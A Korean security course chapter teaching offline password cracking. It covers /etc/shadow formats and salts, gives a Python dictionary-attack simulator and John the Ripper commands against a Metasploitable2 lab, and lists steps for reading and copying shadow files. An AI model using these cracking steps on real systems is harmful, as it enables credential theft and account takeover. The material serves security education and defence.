Step 123. 패스워드 공격 2: John the Ripper 오프라인 크래킹 — 훔친 해시는 조용히 깨진다

Step 123. 패스워드 공격 2: John the Ripper 오프라인 크래킹 — 훔친 해시는 조용히 깨진다

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간

전제: Step 122를 마쳤다. 온라인 브루트포스의 원리와 한계(느림·기록·잠금)를 안다. 파이썬 기본 문법을 쓸 수 있다.

  • 준비물: Kali (또는 리눅스 랩 + 파이썬 3), Step 117에서 확보한 MS2의 shadow 파일이 있으면 금상첨화
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

Step 122의 온라인 공격은 시도당 18ms였고, 모든 시도가 로그에 남았습니다. 그런데 만약 공격자가 서버의 비밀번호 저장소(/etc/shadow)를 통째로 훔쳐 나오면 어떻게 될까요? 대답은 오늘의 주제입니다. 해시 파일은 내 컴퓨터에서, 로그도 잠금도 없이, 초당 수백만 회씩 깰 수 있습니다. 오늘은 리눅스가 비밀번호를 저장하는 방식(해시와 솔트)을 파이썬으로 실측하고, 오프라인 크래킹의 압도적인 속도 차이를 직접 재 본 뒤, 업계 표준 도구 John the Ripper의 사용법으로 마무리합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • /etc/shadow 한 줄의 형식(계정·알고리즘·솔트·해시)을 읽는다
  • 해시가 "되돌릴 수 없지만 맞혀 볼 수 있는" 변환임을 설명한다
  • 파이썬 hashlib으로 오프라인 사전 공격을 시뮬레이션하고 속도를 측정한다
  • 솔트(salt)가 같은 비밀번호를 다른 해시로 만드는 것을 실증하고 그 방어 의미를 말한다
  • john의 기본 사용법(크래킹·–show·unshadow)을 랩에서 수행한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 표준 라이브러리 (hashlib, 리눅스면 crypt) + Kali의 john
오늘의 명령 john --wordlist=... 파일, john --show 파일, unshadow passwd shadow
필요한 개념 단방향 해시, /etc/shadow 형식, 솔트, 사전 공격, 오프라인 속도
오늘의 산출물 오프라인 크래킹 시뮬레이터 + 속도 측정 노트 + john 크래킹 기록

2-1. 해시 — 되돌릴 수 없지만 맞혀 볼 수 있다

리눅스는 비밀번호를 평문으로 저장하지 않습니다. 비밀번호를 해시 함수(단방향 변환)에 통과시킨 결과만 저장합니다. 해시는 되돌릴 수 없습니다 — sunshine에서 a941a4c4...는 나오지만, a941a4c4...에서 sunshine을 역산하는 공식은 없습니다.

그런데 크래킹은 역산이 아니라 시험입니다. 후보를 하나씩 해시해 보고, 저장된 해시와 같은지 비교합니다. 같으면 그 후보가 정답입니다. Step 122의 "대입"이 서버를 거치던 것과 달리, 이 비교는 전부 내 컴퓨터 안에서 끝납니다 — 이것이 오프라인의 모든 차이를 만듭니다.

2-2. /etc/shadow 읽기 — 한 줄의 해부

실제 파일의 앞부분입니다 (2026-09-09 리눅스 랩 실측):

root:*:20494:0:99999:7:::
daemon:*:20494:0:99999:7:::
bin:*:20494:0:99999:7:::

콜론(:)으로 나뉜 필드 중 첫 번째가 계정, 두 번째가 해시입니다. *는 "이 계정은 비밀번호 로그인이 잠겨 있다"는 뜻입니다. 해시가 있는 계정은 이런 모양입니다:

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:...
          ↑    ↑           ↑
       알고리즘  솔트        해시 본체

알고리즘 번호가 가장 중요합니다. $1$은 MD5 기반(오래됨), $5$는 SHA-256, $6$는 SHA-512, $y$는 yescrypt(최신)입니다. 이 번호 하나로 "얼마나 깨기 어려운 저장 방식인가"가 판가름 납니다.

2-3. 솔트 — 같은 비밀번호, 다른 해시

솔트(salt)는 해시 전에 비밀번호에 섞는 무작위 첨가물입니다. 같은 sunshine이라도 솔트가 다르면 해시가 완전히 달라집니다. 왜 섞을까요? 솔트가 없으면 세상 모든 sunshine의 해시가 같아서, 공격자는 "자주 쓰이는 비밀번호 → 해시"의 미리 계산된 표(레인보우 테이블) 한 장으로 순식간에 뒤집을 수 있습니다. 솔트가 있으면 해시마다 솔트가 달라 미리 계산이 무용지물이 되고, 사용자마다 따로따로 사전 공격을 해야 합니다. 3-4에서 눈으로 확인합니다.

2-4. 온라인 vs 오프라인 — 속도의 세계관

Step 122 실측에서 온라인은 시도당 18.3ms(약 초당 55회)였습니다. 오프라인은? 오늘 3-3에서 직접 재 보지만, 결론만 먼저 말하면 같은 컴퓨터에서 초당 약 200만 회 — 약 3만 7천 배 빠릅니다. 로그도, 잠금도, 알림도 없이. 그래서 shadow 파일 유출은 "비밀번호가 털린 것"과 다름없는 사고로 취급되고, shadow는 root만 읽을 수 있게 잠겨 있습니다 — 공격 체인이 "일단 쉘 → root 상승 → shadow 탈취" 순서로 이어지는 이유입니다.


3. 따라 하기

3-1. 해시 만들기 — 평문이 사라지는 순간

입력 (hash_basics.py)

import hashlib

print("md5   :", hashlib.md5(b"sunshine").hexdigest())
print("sha256:", hashlib.sha256(b"sunshine").hexdigest())

출력 (2026-09-09 실측):

md5   : 0571749e2ac330a7455809c6b0e7af90
sha256: a941a4c4fd0c01cddef61b8be963bf4c1e2b0811c037ce3f1835fddf6ef6c223

읽는 법: 여덟 글자가 32/64자리 16진수로 바뀌었습니다. 입력이 한 글자만 달라도 출력은 완전히 뒤바뀝니다 (sunshinesunshinf를 비교해 보세요). 그리고 이 출력에서 원래 단어를 거꾸로 얻는 공식은 없습니다 — 그래서 "단방향"입니다.

참고: 윈도우 파이썬에서 리눅스식 해시를 만드는 crypt 모듈을 부르면 The crypt module is not supported on Windows라는 ImportError가 납니다 (2026-09-09 실측). 이 모듈은 리눅스(Kali 포함)에서만 됩니다 — 운영체제의 암호 저장 방식을 흉내 내는 모듈이라서입니다.

3-2. shadow 형식의 해시 만들기 — 리눅스에서 crypt

리눅스(Kali 또는 우분투 랩)의 파이썬에서는 저장 형식 그대로의 해시를 만들 수 있습니다.

입력 (shadow_hash.py — 리눅스에서 실행)

import crypt
h1 = crypt.crypt("sunshine", "$6$rounds=5000$ab12cd34")
h2 = crypt.crypt("sunshine", "$6$rounds=5000$zz99yy88")
print("솔트A:", h1)
print("솔트B:", h2)
print("같은가?", h1 == h2)

출력 (2026-09-09 실측):

솔트A: $6$rounds=5000$ab12cd34$qTWpyN0hAgo1XRCmSHtpIAdpn.6YmJn9iPpRgqFgM.HlUFQytBvf77ZfBW80oni6s9M6dg1Ag0cbjV1EiyQht0
솔트B: $6$rounds=5000$zz99yy88$Gu9dYCSLbb32dqfm/nwv49FBcszKt0QXhG6eAR4UUZGnN1asrOvET/4lXJ.JmqyvgOqcSyLBMQa9dwZ8OsRtj0
같은가? False

읽는 법: $6$ = SHA-512 기반, rounds=5000 = 5천 번 반복 계산(일부러 느리게), 그다음이 솔트와 해시 본체입니다. 2-2에서 본 shadow 형식과 정확히 같습니다. 같은 비밀번호인데 솔트만 다르게 했더니 해시가 전혀 달라졌습니다 — 이것이 솔트의 시각적 증거입니다.

3-3. 오프라인 사전 공격 — 시뮬레이터와 속도 측정

이제 "해시 파일을 훔친 공격자"가 되어 봅니다. 대상 해시는 3-1의 sha256(sunshine의 것)입니다.

입력 (offline_crack.py)

import hashlib, time

# '탈취한 해시 파일' 모사
target = "a941a4c4fd0c01cddef61b8be963bf4c1e2b0811c037ce3f1835fddf6ef6c223"

words = [l.strip() for l in open("wordlist.txt", encoding="utf-8") if l.strip()]
start = time.time()
for i, w in enumerate(words, 1):
    if hashlib.sha256(w.encode()).hexdigest() == target:
        print(f"[+] 크랙 성공: admin / {w} ({i}번째)")
        break

# 순수 시도 속도 측정 — 오프라인의 진짜 무서움
start = time.time()
for n in range(1_000_000):
    hashlib.sha256(b"candidate").hexdigest()
el = time.time() - start
print(f"오프라인 sha256 속도: {1_000_000/el:,.0f} 회/초 ({el:.2f}초에 100만 회)")

출력 (2026-09-09 실측):

[+] 크랙 성공: admin / sunshine (17번째)
오프라인 sha256 속도: 2,036,837 회/초 (0.49초에 100만 회)

읽는 법: 두 숫자를 비교하세요. Step 122의 온라인 공격은 시도당 18.3ms(초당 약 55회), 지금은 초당 약 200만 회입니다. 약 3만 7천 배 차이. rockyou(1,434만 개) 전체를 이 속도로 돌리면 약 7초입니다 — 온라인으로 73시간 걸리던 일이. 게다가 이건 솔트 없는 "빠른 해시"의 이야기이고, GPU를 쓰는 전문 도구는 이보다 수십~수백 배 빠릅니다.

: 오프라인 크래킹의 속도가 곧 "왜 해시 파일 유출이 대형 사고인가"의 답입니다. 동시에 역으로 생각하면 — 방어자가 해시를 일부러 느리게 만들 이유(rounds=5000, yescrypt)도 이 숫자에서 나옵니다.

3-4. 솔트의 방어 효과 — 눈으로 확인

입력 (salt_demo.py)

import hashlib

print("솔트 없음:", hashlib.sha256(b"sunshine").hexdigest()[:16], "...")
print("솔트 ab12:", hashlib.sha256(b"ab12" + b"sunshine").hexdigest()[:16], "...")
print("솔트 zz99:", hashlib.sha256(b"zz99" + b"sunshine").hexdigest()[:16], "...")

출력 (2026-09-09 실측):

솔트 없음: a941a4c4fd0c01cd ...
솔트 ab12: 7df0d38574964494 ...
솔트 zz99: 153d1b122597ac05 ...

읽는 법: 세 해시가 전부 다릅니다. 공격자가 "sunshine의 해시"를 미리 계산해 둬도, 솔트가 붙은 저장소에서는 그 표가 무용합니다. 사용자마다 솔트가 다르므로 백만 명의 해시를 깨려면 백만 번의 사전 공격을 따로 해야 합니다. 솔트는 "대량 크래킹"을 "개별 크래킹"으로 강등시키는 장치입니다.

3-5. John the Ripper — 정석 절차 (랩 실습, 출력 예시)

여러분의 Kali에서 진행하세요. 대상은 Step 117에서 확보한 MS2의 shadow입니다 (없으면 MS2 쉘에서 sudo cat /etc/shadow > /tmp/shadow.txt 후 Kali로 복사 — Step 119의 nc 파일 전송을 떠올리세요). 출력은 출력 예시입니다.

정석 절차: unshadow로 passwd와 shadow를 합치기

unshadow passwd.txt shadow.txt > combined.txt

크래킹

john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
Loaded 7 password hashes with 7 different salts (md5crypt ...)
Press 'q' or Ctrl-C to abort
msfadmin         (msfadmin)

결과 다시 보기

john --show combined.txt
msfadmin:msfadmin:...
1 password hash cracked, 6 remaining

읽는 법: john은 해시 형식(md5crypt)을 자동으로 식별하고, 워드리스트의 각 후보를 그 계정의 솔트와 함께 해시해 비교합니다. 깨진 것은 .pot 파일에 저장돼 --show로 언제든 다시 봅니다. $1$(MD5)라 깨지기 쉬운 편이고, $y$(yescrypt)라면 훨씬 오래 걸립니다 — 알고리즘 번호가 방어력임을 체감하는 지점입니다.

막힘 팁: shadow는 root만 읽을 수 있습니다 — 그래서 실전 체인이 "쉘 확보 → 권한 상승 → shadow 탈취"입니다. 크래킹이 길어지면 일부만 깨져도 성공으로 기록하세요. 전부 깨는 것이 목표가 아니라 "약한 계정이 존재함을 증명"하는 것이 침투 테스트의 목표입니다.


4. 미션과 연습문제

미션 — 오프라인 크래킹 실험 노트

  1. 3-3의 시뮬레이터를 완성하고, 내 컴퓨터의 오프라인 속도(회/초)를 측정해 기록한다
  2. Step 122의 온라인 속도(시도당 ms)와 비교해 "몇 배 빠른가"를 계산한다
  3. 3-4의 솔트 실험에서 세 해시가 다른 것을 확인하고, "솔트가 막는 공격"을 한 문장으로 적는다
  4. MS2의 shadow에서 $1$, $6$ 같은 알고리즘 번호를 찾아 각각 무슨 방식인지 주석을 단다
  5. john으로 해시 1개 이상을 깨고 john --show 결과를 노트에 베낀다

연습문제

문제 1. 해시는 "되돌릴 수 없는데" 크래킹이 가능한 이유를 말해 보세요.

문제 2. /etc/shadowmsfadmin:$1$XN10Zj2c$Rt/zz...에서 $1$, XN10Zj2c, 그 뒤의 긴 문자열이 각각 무엇인지 말해 보세요.

문제 3. 온라인 공격과 오프라인 공격의 속도 차이가 생기는 구조적 이유를 "시도 한 번이 거치는 경로"로 설명해 보세요.

문제 4. 솔트가 없는 세상에서는 공격자가 어떤 지름길(미리 계산된 표)을 쓸 수 있으며, 솔트는 그것을 어떻게 무력화하나요?


5. 모범 답안과 완료 기준

미션 모범 답안

속도 비교의 예 (2026-09-09 실측 기준 — 여러분의 값은 다릅니다):

온라인 (Step 122): 시도당 18.3ms → 초당 약 55회
오프라인 (3-3):    초당 2,036,837회
비율: 약 37,000배
결론: 같은 워드리스트라도 오프라인은 로그/잠금 없이 3만 배 이상 빠르다.
      → 해시 파일 유출 = 비밀번호 유출에 준하는 사고.

3번의 한 문장 예: "솔트는 미리 계산된 표(레인보우 테이블)를 무용하게 만들고, 사용자가 백만 명이면 사전 공격도 백만 번 따로 하게 만든다."

알고리즘 주석의 예: $1$ MD5 기반(구형, 빨리 깨짐), $5$ SHA-256, $6$ SHA-512, $y$ yescrypt(최신, 가장 견고).

검증하는 법: ① 속도 측정값과 비율 계산이 있는가. ② 솔트 실험의 세 해시가 실제로 다른가. ③ shadow의 알고리즘 번호를 읽었는가. ④ john –show 결과를 베껴 뒀는가.

연습문제 해답

문제 1 해답. 해시 자체는 역산 불가이지만, 크래킹은 역산이 아니라 대조입니다 — 후보를 해시해 저장된 해시와 비교합니다. 비밀번호의 후보 공간이 사람의 기억력 크기로 제한되므로, "전부 해시해 보기"가 실용적입니다.

문제 2 해답. $1$은 해시 알고리즘 번호(MD5 기반 저장 방식), XN10Zj2c는 솔트(이 계정 전용의 무작위 첨가물), 그 뒤는 솔트를 섞어 계산한 해시 본체입니다. 이 세 덩어리가 $로 구분돼 한 필드에 들어갑니다.

문제 3 해답. 온라인의 시도 한 번은 네트워크 왕복 + 서버의 인증 처리 + 응답을 거치고(실측 18.3ms), 오프라인의 시도 한 번은 내 컴퓨터의 해시 계산 + 문자열 비교로 끝납니다(실측 초당 약 200만 회). 기다릴 상대가 있느냐 없느냐의 차이가 3만 배 이상의 속도 차이를 만듭니다.

문제 4 해답. 솔트가 없으면 같은 비밀번호는 항상 같은 해시이므로, "흔한 비밀번호 → 해시"의 거대한 미리 계산 표(레인보우 테이블)로 저장소 전체를 한 번의 조회로 뒤집을 수 있습니다. 솔트가 사용자마다 다르면 해시도 사용자마다 달라져서, 미리 계산은 불가능하고 각 해시마다 사전 공격을 새로 해야 합니다.

완료 기준 체크리스트

  • [ ] /etc/shadow 한 줄의 필드(계정·알고리즘·솔트·해시)를 읽을 수 있다
  • [ ] 알고리즘 번호($1$/$5$/$6$/$y$)와 견고함의 관계를 안다
  • [ ] hashlib으로 오프라인 사전 공격을 시뮬레이션하고 속도를 측정했다
  • [ ] 온라인 대비 오프라인의 속도 배율을 계산했다
  • [ ] 솔트의 방어 효과를 실측 해시 세 개로 설명할 수 있다
  • [ ] john으로 해시 1개 이상을 깨고 –show로 확인했다
  • [ ] shadow 탈취가 위험한 이유(권한·속도·무기록)를 말할 수 있다

6. 흔한 실수와 해결

벽 1. 윈도우에서 crypt가 안 된다

증상 (2026-09-09 실측 메시지): ImportError: The crypt module is not supported on Windows
원인: crypt 모듈은 리눅스의 암호 저장 방식을 쓰는 리눅스 전용 모듈입니다.
해결: Kali(리눅스)에서 실행하세요. 윈도우에서는 3-1, 3-3, 3-4의 hashlib 실험만으로도 원리는 전부 확인됩니다.

벽 2. john이 "No password hashes loaded"라고 한다

증상: john을 실행했는데 해시를 못 읽습니다.
원인: 파일 형식이 섞였거나, shadow를 그냥 넣어 필드 해석이 꼬인 경우가 흔합니다.
해결: 정석은 unshadow passwd.txt shadow.txt > combined.txt로 합친 뒤 john에 넣는 것입니다. passwd와 shadow의 계정 순서가 맞는지도 확인하세요.

벽 3. shadow를 cat하니 Permission denied

증상: cat /etc/shadow가 거절됩니다.
원인: 정상입니다. shadow는 root만 읽습니다 — 이 권한 설정 자체가 오늘 배운 "해시 파일 보호"의 현장입니다.
해결: 랩(MS2)에서는 sudo 또는 뿌리 쉘로 읽으세요. 이 거절이 바로 "왜 공격 체인에 권한 상승이 필요한가"의 답입니다.

벽 4. 크래킹이 몇 시간째 안 끝난다

증상: john이 계속 돌아가고 아무것도 못 깼습니다.
원인: 워드리스트에 정답이 없거나, 해시가 견고한 방식($6$, $y$)이면 시간이 오래 걸립니다.
해결: Ctrl+C로 멈춰도 진행 상황은 저장됩니다. 일부라도 깨면 --show로 확인하고 노트에 기록하세요. "전부 못 깸"도 그 저장소의 방어력을 보여 주는 유효한 결과입니다.

벽 5. 솔트 실험인데 해시가 같게 나온다

증상: 솔트를 바꿨는데 해시가 같습니다.
원인: 해시 함수에 넣는 순서가 salt + password로 일관되는지 확인하세요. 실수로 솔트를 해시 밖에 두거나, 같은 솔트를 복사한 경우가 대부분입니다.
해결: hashlib.sha256(b"ab12" + pw)처럼 솔트가 입력 바이트 안에 들어갔는지 코드를 읽고, 3-4의 실측 출력과 비교하세요.


7. 정리

오늘의 개념

개념 한 줄 설명
해시(단방향 변환) 되돌릴 수 없지만 후보를 대조해 맞혀 볼 수 있는 변환
/etc/shadow 리눅스 비밀번호 저장소 — 계정:$알고리즘$솔트$해시:…
알고리즘 번호 $1$ MD5(구형) → $6$ SHA-512 → $y$ yescrypt(최신·견고)
솔트(salt) 계정마다 다른 무작위 첨가물 — 미리 계산 표를 무력화
오프라인 크래킹 훔친 해시를 내 컴퓨터에서 무기록·무제한으로 대조하는 공격
레인보우 테이블 솔트 없는 해시를 한 번의 조회로 뒤집는 미리 계산 표

오늘의 명령어·함수

명령/함수 하는 일
hashlib.sha256(바이트).hexdigest() 파이썬으로 해시 계산 (실험용)
crypt.crypt(비밀번호, "$6$rounds=...$솔트") shadow 형식 해시 만들기 (리눅스)
unshadow passwd.txt shadow.txt > combined.txt 크래킹용으로 두 파일 합치기
john --wordlist=rockyou.txt combined.txt 오프라인 크래킹 실행
john --show combined.txt 깨진 결과 다시 보기
cat /etc/shadow (root 필요) 해시 저장소 읽기 — 권한 체험

명령어보다 중요한 감각

오늘의 숫자 하나, 초당 200만 회를 기억하세요. 비밀번호 저장은 "느리고 솔트 있는 해시"여야 한다는 현대 규칙은 전부 이 숫자에 대한 방어입니다. 방어자가 yescrypt와 반복 계산을 쓰는 이유, 공격자가 shadow 탈취를 노리는 이유 — 같은 숫자의 두 얼굴입니다.

그리고 체인을 기억하세요: 쉘 확보 → 권한 상승 → shadow 탈취 → 오프라인 크래킹 → 다른 계정/다른 서버로 확장. 침해사고가 "한 대의 침입"에서 "전체 장악"으로 커지는 경로가 이 한 줄 안에 있습니다. 여러분이 지금 단계에서 할 수 있는 방어는 단순합니다 — 시스템을 최신 해시 방식으로 유지하고, 비밀번호는 사전에 없는 긴 것으로, 그리고 shadow 같은 파일이 외부로 나가는 일을 감시하는 것입니다.


전부 체크되면 Step 123 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.